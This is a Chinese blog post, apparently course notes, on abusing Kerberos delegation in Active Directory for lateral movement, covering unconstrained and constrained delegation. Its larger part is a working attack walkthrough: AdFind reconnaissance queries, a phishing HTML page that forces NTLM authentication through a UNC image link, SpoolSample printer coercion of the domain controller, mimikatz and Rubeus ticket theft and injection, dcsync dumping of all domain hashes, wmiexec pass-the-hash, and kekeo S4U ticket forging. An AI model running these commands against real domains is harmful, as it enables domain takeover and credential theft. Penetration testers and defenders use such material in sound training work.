内网对抗-横向移动篇&Kerberos&委派安全&非约束系&约束系&RBCD资源系&Spooler利用

Ethan医生3周前系统安全42


#委派安全知识点

委派是一种域内应用模式,是指将域内用户账户的权限委派给服务账号,服务账号因此能以用户的身份在域内展开活动(请求新的服务等),类似于租房中介房东的关系去理解。

 

域委派分类:

1、非约束委派(Unconstrained Delegation, UD)

实际用途

  • 传统应用程序支持,特别是需要访问多个后端服务的旧系统

  • 需要完全代表用户身份访问网络中任何服务的场景

  • 某些Exchange Server配置中可能使用

安全问题

  • 攻击者可以利用此功能进行"Kerberos委派攻击"

  • 一旦获取UD服务账户,可以模拟任何访问该服务的用户

  • 微软已不推荐使用,但仍有旧系统在使用



2、约束委派(Constrained Delegation, CD)

实际用途

  • 现代应用程序中更安全的委派方式

  • 允许服务A代表用户只访问特定的服务B(如SQL服务)

  • Web服务器访问后端数据库的典型场景

  • 只允许使用特定Kerberos服务(S4U2Proxy)

配置特点

  • 在服务A的AD账户上设置"msDS-AllowedToDelegateTo"属性

  • 明确指定允许委派的目标服务列表



3、基于资源的约束委派(Resource Based Constrained Delegation, RBCD)

实际用途

  • Windows Server 2012及更高版本引入的更安全模型

  • 资源所有者控制谁可以委派到它(而不是服务控制可以委派到哪里)

  • 更细粒度的访问控制

  • 适用于现代云和混合环境

配置特点

  • 在目标服务(资源)上设置"msDS-AllowedToActOnBehalfOfOtherIdentity"属性

  • 服务账户不需要特殊权限即可被配置为可委派



简而言之,非约束委派是指用户账户将自身的TGT转发给服务账户使用。约束委派通过S4U2Self和S4U2Proxy两个扩展协议限制服务账户只能访问指定服务资源。

RBCD主要就是委派的管理移交给服务资源进行控制,其余和约束性委派基本相同。

 

账户分类:

机器账户:计算机本身名称的账户,在域中computers组内的计算机。

主机账户:计算机系统的主机账户,用于正常用户登入计算机使用。

服务账户:计算机服务安装时创建的账户,用于运行服务时使用,不可用于登入计算机。

 

涉及项目:

https://github.com/shanfenglan/test/tree/master/spooler

https://github.com/fortra/impacket(综合利用)

https://github.com/gentilkiwi/kekeo(票据利用)

https://github.com/topotam/PetitPotam(结合ntlm重放)

https://github.com/leechristensen/SpoolSample(打印机利用)

https://www.joeware.net/freetools/tools/adfind/(信息收集)

参考文章:

https://forum.butian.net/share/1591

https://www.cnblogs.com/sup3rman/p/16088447.html

https://mp.weixin.qq.com/s/0UOOMF5s00D-y3fojVKMdA

 

#非约束委派

原理:

机器A(域控)访问具有非约束委派权限的机器B的服务,会把当前认证用户(域管用户)的的TGT放在ST票据中,一起发送给机器B,机器B会把TGT存储在lsass进程中以备下次重用。从而机器B就能使用这个TGT模拟认证用户(域管用户)访问服务。

 

利用场景

攻击者拿到了一台配置非约束委派的机器权限,可以诱导域管来访问该机器,然后得到管理员的TGT,从而模拟域管用户。

 

复现配置:

1、信任此计算机来委派任何服务

2、setspn -U -A priv/test webadmin

 

判断查询:

查询域内设置了非约束委派的服务账户:

AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

查询域内设置了非约束委派的机器账户:

AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

 

利用思路1:诱使域管理员访问机器

利用条件:

1、需要Administrator权限

2、域内主机的机器账户开启非约束委派

3、域控管理员远程访问(主动或被动)

 

利用过程:

1、域控与委派机器通讯

主动:

net use \\webserver

钓鱼:

http://192.168.3.31/31.html

<!DOCTYPE html>

<html>

<head>

<title></title>

</head>

<body>

<img src="file:///\\192.168.3.31\2">

</body>

</html>

2、导出票据到本地

mimikatz sekurlsa::tickets /export

3、导入票据到内存

mimikatz kerberos::ptt [0;fece8]-2-0-60a00000-Administrator@krbtgt-GOD.ORG.kirbi

4、连接通讯域控

shell dir \\owa2010cn-god\c$

 

利用思路2:结合打印机漏洞

利用条件:DC 2012以上 (****重点)

1、Administrator权限监听

2、打印机服务spooler开启(默认开启)

 

利用过程:

1、监听来自DC的请求数据并保存文件

shell Rubeus.exe monitor /interval:2 /filteruser:dc$ >hash.txt

域用户运行SpoolSample强制让DC请求

shell SpoolSample.exe dc web2016

2、Rubeus监听到票据并导入该票据

shell Rubeus.exe ptt /ticket:xxx

3、使用mimikatz导出域内Hash

mimikatz lsadump::dcsync /domain:xiaodi8.com /all /csv

4、使用wmi借助hash横向移动

python wmiexec.py -hashes :0b17b318cd59bb4e90f5a528437481a9 xiaodi8.com/administrator@dc.xiaodi8.com -no-pass

 

利用思路3:结合PetitPotam

适用于windows其他版本

结合NTLM Relay监听,后续讲到

 

#约束委派

原理:

由于非约束委派的不安全性,微软在windows server 2003中引入了约束委派,对Kerberos协议进行了拓展,引入了SService for User to Self (S4U2Self)和 Service for User to Proxy (S4U2proxy)

 

利用场景:

如果攻击者控制了服务A的账号,并且服务A配置了到域控的CIFS服务的约束性委派。

则攻击者可以先使用S4u2seflt申请域管用户(administrator)访问A服务的ST1,然后使用S4u2Proxy以administrator身份访问域控的CIFS服务,即相当于控制了域控。

 

复现配置:

1、机器设置仅信任此计算机指定服务-cifs

2、用户设置仅信任此计算机指定服务-cifs

 

利用思路:使用机器账户票据

利用条件:kekeo Rubeus getST

1、需要Administrator权限

2、目标机器账户配置了约束性委派

 

判断查询:

查询机器用户(主机)配置约束委派

AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

查询服务账户(主机)配置约束委派

AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

 

kekeo利用步骤:

1、获取webadmin用户的票据

kekeo "tgt::ask /user:webadmin /domain:god.org /password::admin!@#45 /ticket:administrator.kirbi" "exit"

kekeo "tgt::ask /user:webadmin /domain:god.org /NTLM:518b98ad4178a53695dc997aa02d455c /ticket:administrator.kirbi" "exit"

2、利用webadmin用户票据请求获取域控票据

kekeo "tgs::s4u /tgt:TGT_webadmin@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /user:Administrator@god.org /service:cifs/owa2010cn-god" "exit"

kekeo "tgs::s4u /tgt:TGT_webadmin@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /user:Administrator@god.org /service:cifs/owa2010cn-god.god.org" "exit"

3、导入票据到内存

mimikatz kerberos::ptt TGS_Administrator@god.org@GOD.ORG_cifs~owa2010cn-god.god.org@GOD.ORG.kirbi

4、连接通讯域控

shell dir \\owa2010cn-god.god.org\c$


标签: 横向移动

相关文章

内网对抗-横向移动篇&Kerberos&委派安全&RBCD资源&Operators组成员&HTLMRelay结合

➢ 横向移动-资源约束委派-利用域用户主机加入➢ 横向移动-资源约束委派-Acount Operators组➢ 横向移动-资源约束委派-CVE结合HTLMRelay基于资...

内网对抗-横向移动篇&入口差异&切换上线&IPC管道&AT&SC任务&Impacket套件&UI插件

➢ 横向移动-域内域外-枚举用户&切换用户➢ 横向移动-IPC管道-命令连接&计划任务➢ 横向移动-IPC管道-Impacket工具套件#横向移动入口知识...

内网对抗-横向移动篇&入口切换&SMB共享&WMI管道&DCOM组件&Impacket套件&CS插件

➢ 横向移动-WMI服务-条件&明文&HASH➢ 横向移动-SMB服务-条件&明文&HASH➢ 横向移动-DCOM服务-条件&明文...

内网对抗-横向移动篇&域控系统提权&NetLogon&ADCS&PAC&KDC&永恒之蓝&CVE漏洞

#横向移动-域控提权-CVE-2020-1472CVE-2020-1472是一个windows域控中最严重的远程权限提升漏洞,攻击者通过NetLogon,建立与域控间易受攻击的安全通道时,可利用此漏洞...

内网对抗-横向移动篇&PTH哈希&PTT票据&PTK密匙&Kerberoast攻击点&TGT&NTLM爆破

内网对抗-横向移动篇&PTH哈希&PTT票据&PTK密匙&Kerberoast攻击点&TGT&NTLM爆破

#首要知识点:pass the hash(哈希传递攻击,简称pth)pass the ticket(票据传递攻击,简称ptt)pass the key(密钥传递攻击,简称ptk)PTH(pass th...

内网对抗-横向移动篇&工作组局域网&中间人攻击&ARP欺骗&DNS劫持&单双向&断网截获

中间人攻击(Man-in-the-Middle Attack,简称MITM攻击)是一种常见的网络安全威胁,其目标是在通信过程中拦截和篡改数据。在这种攻击中,攻击者通过将自己置于通信双方之间,可以窃取敏...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。